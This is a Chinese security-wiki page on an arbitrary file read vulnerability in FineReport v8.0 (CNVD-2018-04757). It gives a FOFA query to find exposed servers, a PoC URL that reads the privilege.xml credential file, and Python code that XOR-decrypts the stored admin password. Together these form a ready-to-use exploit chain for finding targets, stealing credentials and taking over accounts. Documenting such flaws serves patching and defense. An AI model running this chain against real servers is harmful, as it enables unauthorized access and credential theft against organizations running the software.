menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right --Vulnerability-main chevron_right 帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757.md
    1.08 KB / 2021-05-21 09:14:38
        # 帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757
    
    FineReport报表软件是一款纯Java编写的,集数据展示(报表)和数据录入(表单)功能于一身的企业级web报表工具。FineReport 8.0版本存在任意文件读取漏洞,攻击者可利用漏洞读取网站任意文件。
    
    FOFA:
    
    ```
    app="帆软-FineReport"
    ```
    
    影响版本:
    
    FineReport < v8.0
    
    读密码文件 privilege.xml PoC:
    
    
    ```bash
    hxxp://target//WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
    //路径分为两种
    /WebReport/ReportServer
    ReportServer
    ```
    
    解密:
    
    ```
    # 使用python写出的解密代码为
    cipher = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' #密文
    PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] #掩码
    Password = ""
    cipher = cipher[3:] #截断三位后
    for i in range(int(len(cipher) / 4)):
        c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
        c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
        Password = Password + chr(c2)
    print (Password)
    ```
    
    ref:
    
    * https://mp.weixin.qq.com/s/ae8A8PGJCtr6uS11dRpzcw
    * https://www.cnvd.org.cn/flaw/show/CNVD-2018-04757
    
    
    links
    file_download